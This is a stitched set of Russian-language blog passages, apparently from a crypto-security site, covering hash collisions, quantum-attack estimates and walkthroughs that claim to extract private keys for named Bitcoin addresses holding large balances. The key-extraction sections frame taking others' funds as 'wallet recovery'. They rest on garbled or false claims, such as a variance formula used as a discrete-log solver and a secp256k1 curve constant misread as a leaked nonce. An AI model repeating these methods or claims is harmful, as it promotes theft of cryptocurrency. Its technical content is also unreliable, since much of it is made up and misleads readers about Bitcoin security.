find_collision(simple_hash, modulus) if collision: data1, data2, hash_value = collision print(f"Data 1: {data1}, Data 2: {data2}, Hash: {hash_value}") Что делает этот скрипт: simple_hash(data, modulus): Упрощенная хеш-функция. Она берет SHA256 от данных, преобразует хеш в целое число и берет остаток от деления на modulus. Важно: Эта хеш-функция предназначена только для демонстрационных целей. Она не является криптографически безопасной. Не используйте ее в реальных приложениях. find_collision(hash_function, modulus, max_attempts=100000): Эта функция пытается найти коллизию для заданной хеш-функции. Она генерирует случайные данные, вычисляет их хеш и сохраняет в словаре seen_hashes. Если сгенерированный хеш уже есть в словаре, значит, мы нашли коллизию. В примере использования мы устанавливаем размер хеш-таблицы (modulus) равным 256 и запускаем поиск коллизий. Этот код ищет коллизии «в лоб», то есть просто перебирает случайные значения и проверяет, не было ли уже такого хеша. Этот метод работает только для очень простых хеш-функций с небольшим выходным диапазоном. Ключевые моменты и предупреждения: Небезопасность simple_hash: Хеш-функция simple_hash крайне уязвима для атак и не подходит для реальных криптографических задач. Она используется только для демонстрации принципа поиска коллизий. Сложность поиска коллизий: Поиск коллизий для криптографически стойких хеш-функций, таких как SHA256, является чрезвычайно сложной задачей. Прямой перебор (brute-force) невозможен из-за огромного размера выходного пространства хеш-функции. Birthday attack: Более эффективным методом поиска коллизий (по сравнению с полным перебором) является birthday attack. Этот метод основан на парадоксе дней рождения и позволяет найти коллизию примерно за sqrt(N) операций, где N — размер выходного пространства хеш-функции. Однако, даже для birthday attack, требуются огромные вычислительные ресурсы для SHA256. Алгоритм Momentum: Для реализации алгоритма Momentum потребовалось бы также реализовать h2 и логику проверки h1(H k a k b) ≤ t. Ресурсы для изучения: Изучите «Проблемы коллизий и методы их решения«, «Хэш-таблицы в Python: Как они работают и зачем нужны», «Список с хеш-коллизиями» и другие материалы, чтобы глубже понять проблему. Этот пример служит отправной точкой. Для более сложных сценариев (например, birthday attack или интеграции с Momentum) Постквантовых схемы подписи В научной литературе предложено множество схем цифровой подписи с открытым ключом, предположительно устойчивых к квантовым компьютерам. Примеры включают схемы на основе хеширования (LMS, XMSS, SPHINCS, NSW), схемы на основе кодов (CFS, QUARTZ), схемы на основе многомерных полиномов (RAINBOW) и схемы на основе решеток (GPV, LYU, BLISS, DILITHIUM, NTRU). Каждая из этих криптосистем обладает разной степенью эффективности. Сравнение размеров подписи и ключа представлено в таблице II (в оригинальном тексте).В контексте блокчейна наиболее важными параметрами схемы подписи являются длина подписи и открытого ключа, поскольку они должны где-то храниться для полной проверки транзакций, а также время проверки подписи. Судя по таблице II, с точки зрения суммы длин подписи и открытого ключа, единственными разумными вариантами являются схемы на основе хеширования и решеток. Схемы на основе хеширования, такие как XMSS, имеют преимущество в виде доказуемой безопасности, по крайней мере, если выбранная хеш-функция ведет себя как случайный оракул. Общая квантовая атака на эти схемы заключается в использовании алгоритма Гровера, что означает, что их квантовый уровень безопасности составляет половину классического уровня безопасности. Хотя схема на основе решеток BLISS имеет наименьшую сумму длин подписи и открытого ключа из всех схем в таблице II, есть несколько причин не выбирать BLISS на практике. Безопасность BLISS основана на сложности задачи NTRU и предположении, что решение этой задачи эквивалентно поиску короткого вектора в так называемой решетке NTRU. Недавно было показано, что это предположение может быть слишком оптимистичным, по крайней мере, для больших параметров. Более того, существует история атак на предыдущие схемы подписи на основе NTRU. Возможно, самое главное, BLISS трудно реализовать безопасным способом, поскольку она очень восприимчива к атакам по побочным каналам. Производственная реализация BLISS strongSwan была атакована таким образом Песслом и др., которые показали, что ключ подписи может быть восстановлен после наблюдения примерно за 6000 генерациями подписи. Хеш-функции: Этот способ хорош тем, что его безопасность можно доказать, но квантовые компьютеры могут немного ускорить взлом такого шифра. Решетки: Этот способ выглядит более перспективным с точки зрения защиты от квантовых компьютеров, но у него есть свои недостатки. Например, алгоритм BLISS, основанный на решетках, очень уязвим для атак, которые используют информацию о работе компьютера (например, энергопотребление) для кражи ключа. ТАБЛИЦА III. Алгоритмы вычисления ресурсов пространства и времени для квантовых атак. Входные данные pg, частота ошибок физического вентиля; nC, общее количество вентилей Клиффорда в логической схеме; nT, общее количество вентилей T в логической схеме; и nL, количество логических кубитов. Выходные данные τ, временные затраты в количестве тактов; и nQ = Qcircuit + Qfactory, количество физических кубитов, используемых для вычисления, включая дистилляцию состояния. Оценка накладных расходов на исправление ошибок при квантовой атаке Как рассчитываются коэффициенты накладных расходов для квантовой коррекции ошибок, чтобы получить оценки затрат ресурсов для квантовых атак на блокчейны и цифровые подписи. Метод основан на анализе, приведенном в работах [FMMC12, MDMG+16].Сначала определяются nT и nC — количество T-вентилей и вентилей Клиффорда, необходимых в алгоритме. Псевдокод для вычисления накладных расходов представлен в таблице III (в оригинальном тексте). Для атаки на блокчейн с nL = 2402 кубитами эти значения составляют nT = 297784 × π^2 / (14√(10) · D), nC = 29.4 × nT. Для атаки на цифровую подпись с nL = 2334 кубитами значения составляют nT = 1.28 × 10^11, nC = 20 × nT. Если заглянуть на несколько лет вперед, можно предположить правдоподобные улучшения в технологии квантовых компьютеров. Если предположить код квантовой коррекции ошибок, поддерживающий трансверсальные вентили Клиффорда и не-Клиффорда, так что нет замедления дистилляции, и что это делается без измерения, так что не требуется никакой классической обработки синдрома ошибок, то количество циклов, необходимых для одного вызова оракула, определяется исключительно глубиной схемы, которая составляет 2142094.Это основано на общей глубине схемы, рассчитанной следующим образом. Оракул вызывает два вызова хеш-функции SHA256, и это делается дважды: один раз для ее вычисления и один раз для ее отмены. Каждый хеш имеет обратимую глубину схемы 528768. Аналогично, используются два многоуправляемых фазовых вентиля: один для инверсии относительно среднего и один для вызова функции, каждый из которых имеет глубину схемы 13511, для общей глубины 4 × 528768 + 2 × 13511 = 2142094 (эти числа взяты из [SFL+13], но могут быть дополнительно оптимизированы).Тогда, принимая потенциальные накладные расходы в пространстве и количестве физических кубитов, но предполагая отсутствие временных затрат на коррекцию ошибок или дистилляцию неклиффордовых вентилей, это подразумевает улучшенную эффективную скорость хеширования hQC = 0.04 × s / √D, что существенно быстрее. Для сверхпроводящих схем возможны сверхбыстрые геометрические фазовые вентили при ∼ 50 ГГц, что в основном ограничено частотой микроволнового резонатора [RBW+12]. Используя вышеупомянутые очень оптимистичные предположения, при сложности D = 10^12 эффективная скорость хеширования составит hQC = 2.0 × 10^3 TH/s. Python-скрипт: QuBitWizard.py Python-скрипт: WaveMaster.py Python-скрипт: CirqQuantumCircuit.py Моделирование развития хешрейта и сложности сети биткоин Общее количество хешей в секунду во всей сети Биткоин берётся с blockchain.info. Данные на рисунке 5(a) представляют собой скорости хеширования на первое января (2012–2015 гг.) и первое января и июля (2016–2017 гг.). Две пунктирные кривые соответствуют оптимистичным и менее оптимистичным предположениям для экстраполяций. Оптимистичная экстраполяция предполагает, что текущий рост будет продолжаться экспоненциально в течение пяти лет, а затем перейдёт в линейный рост по мере насыщения рынка полностью оптимизированными ASIC-майнерами Биткоина. Менее оптимистичное предположение предполагает линейный рост с текущей скоростью. На основе экстраполяции хешрейта сети Биткоин можно определить сложность в зависимости от времени. Ожидаемое количество хешей, необходимых для нахождения блока за 10 минут (600 секунд), определяется как rate(t) * 600, где rate(t) — общая скорость хеширования, показанная на рисунке 5(a). Таким образом, сложность хеширования Биткоина рассчитывается как D(t) = rate(t) * 600 * 2^(-32) для двух сценариев, описанных выше. На рисунке 5(b) это сравнивается со значениями с blockchain.info на первое января 2015–2017 гг. Делают два прогноза: Оптимистичный: Хешрейт продолжит расти очень быстро, пока все не перейдут на самые современные майнеры. Менее оптимистичный: Хешрейт будет расти с той же скоростью, что и сейчас. Используя эти прогнозы, можно рассчитать, насколько сложнее станет майнить Биткоин в будущем. Сложность вычисляется на основе того, сколько хешей нужно сделать, чтобы найти новый блок1. Чем выше хешрейт, тем выше сложность. Моделирование развития квантовых компьютеров При моделировании необходимо учитывать несколько аспектов развития квантовых технологий. Поскольку на данном раннем этапе развития доступно лишь несколько точек данных, в наших оценках неизбежно присутствует большая неопределенность. Поэтому мы приводим две различные оценки: одну, оптимистичную по отношению к темпам развития, и другую, значительно более пессимистичную. Тем не менее, эти прогнозы следует рассматривать как очень приблизительную оценку, которая может потребовать адаптации в будущем. Во-первых, нам нужно сделать предположение о количестве кубитов, доступных в любой момент времени. Поскольку мы сосредотачиваемся только на твердотельных сверхпроводящих реализациях, доступно лишь несколько точек данных. Мы предполагаем, что количество доступных кубитов будет расти экспоненциально со временем в ближайшем будущем. Оптимистичное предположение состоит в том, что число будет удваиваться каждые 10 месяцев, тогда как менее оптимистичное предположение предполагает, что число удваивается каждые 20 месяцев. Эти две экстраполяции показаны на рисунке 6(a). Точки данных взяты из следующей таблицы: (таблица не приведена). Прогнозировать развитие квантовых компьютеров сложно, потому что у нас пока мало информации. Поэтому авторы статьи сделали два прогноза, которые отличаются друг от друга: Оптимистичный прогноз: Квантовые компьютеры будут развиваться очень быстро, и количество кубитов (основных «кирпичиков» квантовых вычислений) будет удваиваться каждые 10 месяцев. Пессимистичный прогноз: Развитие квантовых компьютеров будет идти медленнее, и количество кубитов будет удваиваться каждые 20 месяцев. Оба прогноза, скорее всего, не очень точные, но они помогают понять, как быстро могут развиваться квантовые компьютеры и когда они могут стать угрозой для существующих систем защиты информации Мы прогнозируем, что частота квантовых вентилей будет расти экспоненциально в течение следующих нескольких лет. Это предполагает, что классические схемы управления будут достаточно быстрыми, чтобы управлять квантовыми вентилями на этих частотах. Через пару лет рост значительно замедляется, поскольку для дальнейшего ускорения квантовых вентилей необходимы более быстрые классические схемы управления. Мы ограничиваем частоту квантовых вентилей на уровне 50 ГГц (для оптимистичного случая) или 5 ГГц (для менее оптимистичного случая), соответственно, главным образом потому, что ожидаем, что классические схемы управления не смогут управлять квантовыми вентилями на более высоких частотах. (См., например, [HHOI11] о прогрессе в этом направлении.) Это показано на рисунке 6(b). Точки данных взяты из следующей таблицы: (таблица не приведена). Прогноз: Сначала скорость работы квантовых компьютеров будет расти очень быстро, но потом рост замедлится. Ограничение: Авторы считают, что есть предел скорости, который сложно будет превысить, потому что для управления квантовыми компьютерами нужны очень быстрые «обычные» (классические) компьютеры. Если обычные компьютеры не смогут успевать, то и квантовые компьютеры не смогут работать быстрее. Оптимистичный прогноз предполагает, что скорость работы квантовых компьютеров достигнет 50 ГГц, а пессимистичный — только 5 ГГц. На рисунке 6 представлены прогнозы количества кубитов, частоты квантовых вентилей (в операциях вентилей в секунду) и неточности квантовых вентилей в зависимости от времени. Четвертый график моделирует снижение накладных расходов из-за теоретических достижений. Предсказанное развитие неточности вентилей показано на рисунке 6(c). Мы предполагаем, что неточность вентилей продолжит падать экспоненциально, но что это развитие остановится на неточности 5 · 10^-6 (оптимистичный случай) или 5 · 10^-5 (менее оптимистичный случай). Для оптимистичного случая мы ожидаем, что неточность вентилей продолжит следовать закону ДиВинченцо, который предсказывает уменьшение неточности в 2 раза в год. Данные взяты из следующей таблицы: (таблица не приведена). Это называется «неточность вентилей». Прогноз: Ожидается, что квантовые компьютеры будут становиться точнее, и количество ошибок будет уменьшаться. Ограничение: Но есть предел, после которого улучшить точность будет очень сложно. Оптимистичный прогноз предполагает, что неточность снизится до 5 на миллион, а пессимистичный — до 5 на 100 тысяч. Чем точнее работают кубиты, тем меньше нужно дополнительных ресурсов (кубитов и времени) для исправления ошибок. Наконец, мы предполагаем, что количество кубитов и временных шагов, требуемых любым алгоритмом, будет уменьшаться с течением времени по двум причинам. Во-первых, точность вентилей будет увеличиваться со временем и, таким образом, позволит использовать более эффективные отказоустойчивые схемы. Во-вторых, теоретические достижения позволят уменьшить количество кубитов и вентилей, необходимых для реализации алгоритма и отказоустойчивых схем. Мы ожидаем, что этот фактор будет overhead(t) = β^(t-2017), где β ∈ {0.75, 0.85} для оптимистичных и менее оптимистичных предположений, соответственно. Улучшение точности кубитов: Чем точнее работают кубиты, тем меньше нужно дополнительных усилий для исправления ошибок. Теоретические прорывы: Ученые будут разрабатывать новые алгоритмы и методы, которые позволят делать те же вычисления, используя меньше кубитов и операций. Чтобы оценить, насколько сильно уменьшатся требования к ресурсам, они вводят специальный коэффициент, который зависит от времени и от того, насколько оптимистично мы смотрим на будущее. Этот коэффициент показывает, во сколько раз можно будет сократить количество необходимых кубитов и времени. Процесс выявления критической уязвимости в транзакции ↩︎ Воспользуемся списком из “Dockeyhunt Deep Learning” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом. Dockeyhunt Deep Learning Создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT. В качестве примера возьмем адрес Биткоин кошелька: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm на сумму: 131.59300888 BTC и получим HASH публичный ключ. Затем, используя BitcoinChatGPT, создадим уязвимость Raw транзакций, что позволит нам проанализировать и манипулировать данными подписи алгоритма ECDSA. Получим HASH публичный ключ используя Python-скрипт: wif_to_hash160.py Для реализации декодирования Base58 установим пакет: !pip3 install base58 import base58 def generate_response(input_text): input_ids = tokenizer.encode(input_text, return_tensors='pt').cpu() response_ids = model.generate(input_ids) response_text = tokenizer.decode(response_ids[:, input_ids.shape[-1]:][0], skip_special_tokens=True) return response_text def decode_base58(address): decoded = base58.b58decode(address) return decoded[1:-4] if __name__ == "__main__": address = input("Enter Bitcoin address: ") decoded_bytes = decode_base58(address) print("Bitcoin HASH160: ", decoded_bytes.hex()) Запустим BitcoinChatGPT %run BitcoinChatGPT How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: e361516c3163a3d997d7b270c4378816a86343de State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c915280 ....0220 ........0d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238 .....0141 .....04ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........e361516c3163a3d997d7b270c4378816a86343de ....88ac 00000000 В результате мы получаем уязвимую транзакцию RawTX как мы знаем в контексте блокчейна Биткоина относится к сырым данным транзакции, которые хранятся в блокчейне в форме двойного хеширования. Это означает, что RawTX проходит через алгоритм SHA256 дважды, чтобы получить хэш транзакции, который виден в блокчейне. Этот хэш известен как txid (идентификатор транзакции). 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c91528002200d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01d2040000000000001976a914e361516c3163a3d997d7b270c4378816a86343de88ac00000000 Процесс компрометации извлечения секретного ключа Nonce значение K Запустим BitcoinChatGPT %run BitcoinChatGPT How a vulnerable RawTX transaction in the Bitcoin blockchain can be compromised to extract the secret key Nonce value K using mathematical methods BLOCKCHAIN FOLBIT LEAKS Декодируем уязвимую RawTX транзакцию с помощью функции сервиса BLOCKCHAIN FOLBIT LEAKS Результат значение K секретного ключа Nonce в формате HEX K = 39588951cd20e38a6dc86d6b436da7abd2bcad84af3dd16b6f8a83c946c1d3c6 Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder RSZ Signature Decoder Результат значении для R, S, Z в формате HEX R = aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c915280 S = 0d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238 Z = bbfd05c3355957cbdf44d283b9199eb9741f775a16081288187a82f544fac11f Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator Dockeyhunt Private Key Calculator В результате мы получаем значение X приватный ключ в формате HEX X = 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Проверим полученный результат приватного ключа с помощью машинного обучения Запустим BitcoinChatGPT %run BitcoinChatGPT Apply the BLOCKCHAIN FOLBIT LEAKS function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency https://github.com/demining/CryptoDeepTools/blob/main/38QuantumAttacks/KEYFOUND.privkey ============================= KEYFOUND.privkey ============================= Private Key HEX: 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Private Key WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm Balance: 131.59300888 BTC ============================= KEYFOUND.privkey ============================= Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин. !pip3 install bitcoin __________________________________________________ Private Key WIF: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm total_received = 131.59300888 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx HEX: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Заключение и действия по снижению опасности. В этой статье мы изучили методы восстановления доступа к утерянным криптовалютным кошелькам и приватным ключам с помощью математических алгоритмов, таких как решение дискретного логарифма и проблема скрытых чисел, а также утечки данных BLOCKCHAIN FOLBIT LEAKS. Мы продемонстрировали, как использовать программное обеспечение для извлечения приватных ключей из уязвимых транзакций, что показало, что даже в безопасных системах, таких как Bitcoin, существуют уязвимости, которые можно использовать для восстановления доступа к потерянным средствам. Для защиты от угроз, связанных с уязвимостью RawTX транзакции криптовалюты Биткоин, пользователям необходимо предпринять следующие шаги: Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность. Уязвимость RawTX в транзакциях Bitcoin создает серьезную угрозу для безопасности криптовалютных операций и целостности блокчейна. Чтобы снизить риски, пользователям необходимо регулярно обновлять программное обеспечение, внедрять строгие меры безопасности и осуществлять постоянный контроль над состоянием сети. Эти действия будут способствовать поддержанию безопасности и стабильности криптовалютных систем, защищая пользователей от потенциальных атак и финансовых потерь. Наше исследование показывает значимость математического анализа в криптовалютах и демонстрирует потенциал использования сложных математических методов для решения практических задач в криптоанализе. Однако эти методы могут быть применены как для восстановления доступа к утерянным средствам, так и для использования уязвимостей, что подчеркивает необходимость усиления безопасности криптовалютных систем. References: Analyzing Quantum Vulnerabilities: The Insecurity of Classical Proof Systems in Quantum Contexts Enhancing Security: The Impact of Iteration on Quantum Attacks Against Block Ciphers Assessing Quantum Threats to Bitcoin: Risks and Protective Strategies for Cryptocurrencies Quantum Threats to Pseudorandom Generators: Analyzing Attacks on the Blum-Micali Generator Advancing Quantum Collision Attacks: Analyzing SHA-256 and SHA-512 Vulnerabilities Exploring Quantum Vulnerabilities: Attacks on Beyond-Birthday-Bound MAC’s Enhancing Quantum Cybersecurity: Advanced Variational Attacks on Cryptographic Protocols Exploring Practical Quantum Cryptography: Capabilities, Implementations, and Attack Vulnerabilities Navigating the Shift to Quantum Resistance: Preparing for the Future of Cryptography Securing the Quantum Age: Exploring Quantum-Resistant Cryptographic Protocols Quantum-Resistant Code-Based Cryptosystem: A Novel Approach Using Repetition of Error-Correcting Codes Assessing Electromagnetic Side-Channel Attack Risks in Quantum Key Distribution Receivers Using Multi-Class Classification Managing Cryptographic and Quantum Risks: A Practical Guide for Organizations Enhancing Cloud Security: Quantum Cryptography Algorithms for Robust Data Storage and Processing Transitioning to Quantum-Safe Cryptography on IBM Z: A Guide for Secure Data Protection Post-Quantum Attacks on Symmetric-Key Cryptography: Analyzing Vulnerabilities and Defense Strategies Report on Post-Quantum Cryptography: NIST’s Strategies for Securing Digital Communications Against Quantum Threats Quantum Computing and Cybersecurity: Navigating Emerging Threats and Mitigation Strategies Revolutionizing Currency: The Concept and Development of Quantum Money Post-Quantum Cryptography: Preparing for Quantum Threats and Securing the Future of Encryption Ensuring Digital Sovereignty: The Critical Role of Cryptographic Security in Europe Preparing for the Quantum Threat: Safeguarding Sensitive Information Against Future Risks Defending Quantum Private Communication: Strategies Against Trojan Horse Attacks Bitcoin’s Quantum Resistance: A Commit-Delay-Reveal Protocol for Secure Transition Project Leap: Safeguarding the Financial System in the Quantum Era Quantum Threats to Bitcoin: Vulnerabilities and Mitigation Strategies Navigating the Quantum Frontier: Understanding Quantum Computing and the Rise of Post-Quantum Cryptography Quantum Origin: Revolutionizing Cryptographic Key Generation with Verifiable Quantum Randomness Developing Quantum-Resistant Cryptography: Encryption for a Post-Quantum World Quantum-Safe Cryptography: Addressing the Challenges and Opportunities in a Quantum Computing Era The Quantum Computing Revolution: Implications for Modern Cryptographic Security Private-Key & Public-Key Cryptography in the Quantum Era: Security Risks and Future Strategies The Quantum Risk Paradox: Why the Threat Is Already Here (Quantum Threat Timeline) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab BitcoinChatGPT Blockchain Folbit Leaks Dockeyhunt Deep Learning Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/p62orC7WDUE Video tutorial: https://dzen.ru/video/watch/67c3e91abbfa683a745a0aea Источник: https://cryptodeeptool.ru/quantum-attacks-on-bitcoin Криптоанализ
  4. CRYPTO DEEP TECH В начале 2025 года рост курса популярных криптовалют существенно повлияло на финансовые операции. Несмотря на их широкое использование и кажущуюся безопасность, эти системы остаются уязвимыми. Одной из главных проблем остаётся восстановление потерянных криптовалютных кошельков и приватных ключей, которое может быть осуществлено с помощью сложных математических алгоритмов. В этой статье мы исследуем методы решения задачи дискретного логарифма и способы восстановлении потерянных Биткоин Кошельков, акцентируя внимание на алгоритме Ricci Flow и проблеме скрытых чисел (Hidden Number Problem) для извлечения приватных ключей из уязвимых транзакций, использующих ECDSA. Мы также обсудим, как современные криптовалюты, такие как Биткоин и Эфириум, зависят от сложных математических основ, обеспечивающих безопасность и анонимность, но подверженных эксплуатации из-за различных уязвимостей. Роль дискретного логарифмирования в восстановлении потерянных криптовалютных кошельков и извлечении приватных ключей. Дискретное логарифмирование — это математическая задача, которая заключается в нахождении целого числа x, удовлетворяющего уравнению a=b^x в некоторой конечной группе. Порядок группы точек на этой кривой которая является важным параметром, определяющим криптостойкость системы secp256k1 эллиптической кривой над полем GF(p), где p=2^256−2^32−2^9−2^8−2^7−2^6−2^4−1. Например, если мы знаем a и b, нам нужно найти x — приватный ключ к Биткоин кошельку. Эта задача особенно важна в криптографии, поскольку она лежит в основе многих криптографических алгоритмов, таких как обмен публичными ключами. Современные алгоритмы дискретного логарифмирования имеют очень высокую вычислительную мощность что позволяет эти алгоритмы применить на практике. Рассмотрим процесс восстановления приватного ключа с использованием программного обеспечения Dockeyhunt Discrete Logarithm и инструмента DarkSignature для генерации поддельных данных транзакций. Сначала мы введем адрес Биткоин кошелька: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS на сумму: 165.10252195 BTC и получим его публичный ключ. Затем, используя DarkSignature, создадим поддельные значения для транзакций, что позволит нам проанализировать и манипулировать данными подписи алгоритма ECDSA. В завершение мы применим математический анализ через программное обеспечение Perelman Work для решения дискретного логарифма и получения приватного ключа к Биткоин кошельку. Эта статья предназначена не только для специалистов в области криптографии и математики, но и для всех желающих понять, как можно использовать математические методы для решения реальных задач в области криптоанализа с использование различных криптовалют. Для начало нам необходимо запустить программное обеспечение Dockeyhunt Discrete Logarithm и в поле "Input date" вводим Биткоин Адрес 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS и получаем публичный ключ кошелька: 04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335 Видео с привязкой ко времени Воспользуемся инструментом DarkSignature чтобы получить поддельные данные значение R, S, Z для транзакции алгоритма ECDSA. В поле "Input date" вводим публичный ключ Биткоин Адреса 04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335 и получаем данные значение R, S, Z Результат: 1111,947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c,5b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b,c7ac826c5a8397c0de993b2d8d597be42d22c77cf006683d7b72a197e1a5cdcf,0000 Видео с привязкой ко времени В качестве инструмента для математического анализа и решения уравнений дискретного логарифма применим программное обеспечение Perelman Work. Выберем опцию из раздела Complex Analysis для полной взаимосвязи между переменными через интеграцию Discrete variation series Variance: [ D = frac{sum_{i=1}^{n} (x_i — bar{x})^2}{N} ) ] Формула для вычисления дискретной вариации выглядит так: Объяснение компонентов формулы: D — это дисперсия (вариация) вашего набора данных. ∑∑ — символ суммы, который означает, что мы будем складывать значения. i — это индекс, который пробегает все значения в наборе данных от 1 до n. xi — это каждое отдельное значение в вашем наборе данных. ˉxˉ — это среднее значение (или среднее арифметическое) всех значений в наборе данных. N — это общее количество значений в наборе данных. Как это работает? Вычисление среднего: Сначала вы находите среднее значение вашего набора данных. Разница от среднего: Затем для каждого значения xi вы вычисляете, насколько оно отличается от среднего ˉxˉ . Квадрат разницы: После этого вы берете квадрат этой разницы (чтобы избавиться от отрицательных значений и усилить влияние больших отклонений). Суммирование: Вы складываете все квадраты разностей. Деление на количество значений: Наконец, вы делите полученную сумму на общее количество значений N. Видео с привязкой ко времени С помощью Perelman Work и Dockeyhunt Discrete Logarithm мы произвольно меняем переменные на уязвимость Joux Lercier подробно об этом написано в начале статьи данная уязвимость в транзакции Bitcoin возникают из-за того, что существует возможность изменить значение R, S, Z в подписи, сохраняя при этом действительность подписи, а также в произвольной формуле: X=hex(((S⋅K−Z)⋅modinv(R,N))modN) S и R — значения из подписи транзакции (RawTX). Z — хэш подписи транзакции. K — секретный ключ (nonce). N — порядок группы эллиптической кривой. modinv(R,N) — это модульная обратная функция к R по модулю N. Пояснение формулы Входные параметры: S и R: Эти значения получаются из подписи транзакции. Они необходимы для восстановления приватного ключа. Z: Это хэш подписи, который также используется в процессе. K: Секретный ключ (nonce), который должен быть известен только владельцу кошелька. Вычисления: Сначала умножаем S на K. Затем вычитаем Z. Результат умножаем на модульную обратную величину R по модулю N. Это позволяет “отменить” влияние R, чтобы получить значение, которое можно использовать для вычисления приватного ключа. Наконец, результат берется по модулю N, чтобы гарантировать, что он находится в пределах допустимого диапазона для значений приватного ключа. Преобразование в шестнадцатеричный формат: После выполнения всех математических операций результат конвертируется в шестнадцатеричный формат с помощью функции hex(), что является стандартным представлением приватных ключей в биткоине. Ricci Flow Hidden Number Problem Копируем значений R, S, Z и вставим в поле ввода Ricci Flow HNP чтобы выстроит совершенно новые транзакции алгоритма ECDSA. Видео с привязкой ко времени Dockeyhunt Private Key Calculator Копируем значений R, S, Z и вставим в поле программного обеспечения Dockeyhunt Private Key Calculator Видео с привязкой ко времени Теперь согласно уязвимости Joux Lercier мы скопируем из кода ecdsa_impl.h значение секретного ключа «K» именуемая в криптографии NONCE – это секретный, (псевдо)случайный параметр, который обычно обозначают «K». Здесь NONCE, из-за ошибки в коде, зафиксировали 0, 0, 0, 1, 0x45512319UL, 0x50B75FC4UL, 0x402DA172UL, 0x2FC9BAEEUL несколько битов HEX в начале (или в конце) записи. !./darksignature -address 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS .... .... .... /** Difference between field and order, values 'p' and 'n' values defined in * "Standards for Efficient Cryptography" (SEC2) 2.7.1. * $ sage -c 'load("secp256k1_params.sage"); print(hex(P-N))' * 0x14551231950b75fc4402da1722fc9baee */ static const secp256k1_fe secp256k1_ecdsa_const_p_minus_order = SECP256K1_FE_CONST( 0, 0, 0, 1, 0x45512319UL, 0x50B75FC4UL, 0x402DA172UL, 0x2FC9BAEEUL ); .... .... .... https://github.com/bitcoin-core/secp256k1/blob/master/src/ecdsa_impl.h Видео с привязкой ко времени Копируем значений K и вставим в поле программного обеспечения Dockeyhunt Private Key Calculator, затем нажимаем на кнопку: Calculate Private Key и получаем приватный ключ к Биткоин Кошельку 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS 0x6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232 Для запуска алгоритма решения дискретного логарифма нажимаем на кнопку: Private Key после успешно получаем приватный ключ в формате HEX 